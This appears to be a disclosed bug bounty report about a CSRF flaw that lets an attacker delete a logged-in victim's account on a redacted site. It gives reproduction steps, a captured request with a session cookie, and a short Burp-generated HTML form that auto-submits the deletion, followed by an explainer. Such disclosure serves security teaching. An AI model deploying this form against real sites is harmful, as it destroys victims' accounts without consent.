CSRF to delete accounts [HtUS]
The account deletion endpoint lacked CSRF protection, so an attacker could craft a page that automatically submits a deletion request on behalf of a logged-in victim. If the victim visited the attacker's page, their account would be deleted.
- Disclosed after 10 months
Hello, I Have an endpoint in ██████████that's vulerable to CSRF which lead to delete a victim's account
Steps to reproduce:
- Nevgaite to ███Create an account
- Click on your profile
- You will see DELETE ACCOUNT button
- Click on it and type YES in the input
- Make sure your burpsuite is on and click delete account button
POST /users/deleteAccount HTTP/1.1
Host: ██████
Cookie: _ga=GA1.2.984523169.1657131465; _gid=GA1.2.2029769492.1657131465; session=eyJwYXNzcG9ydCI6eyJ1c2VyIjoibmlnaHRtNHJlQHdlYXJlaGFja2Vyb25lLmNvbSJ9fQ==; session.sig=S8rkHNPfoRIIU66VUCbDCaV_Kb4; _ga_FCSTM1E00P=GS1.1.1657145372.2.1.1657145650.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://███████
Referer: https://█████/users/deleteAccount
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Length: 0
Te: trailers
Connection: close
- Capture the request and click right > Engagement Tools > Generate CSRF POC
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://████/users/deleteAccount" method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
- Copy the HTML Code and put to your server and send the page to the victim
- Once the vicitm opnening the page his account will be deleted
Impact
An attacker can delete vicitm's account
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could delete a victim's account if the victim visited a malicious page while logged in.
What the attacker needed
Victim is logged in; victim visits attacker's page
How it was found
- Create an account and go to the profile page.
- Click the DELETE ACCOUNT button and type YES in the input.
- With Burp Suite running, click delete account and capture the request.
- Generate a CSRF PoC from the captured request.
- Host the HTML page on a server and send the link to the victim.
- When the victim opens the page, their account is deleted.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
CSRF (Cross-Site Request Forgery) is when a malicious website makes a logged-in user's browser send a request to another site without the user knowing. Here, the delete-account action had no protection, so a simple page could trigger it. The victim just had to visit the attacker's page while logged in.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.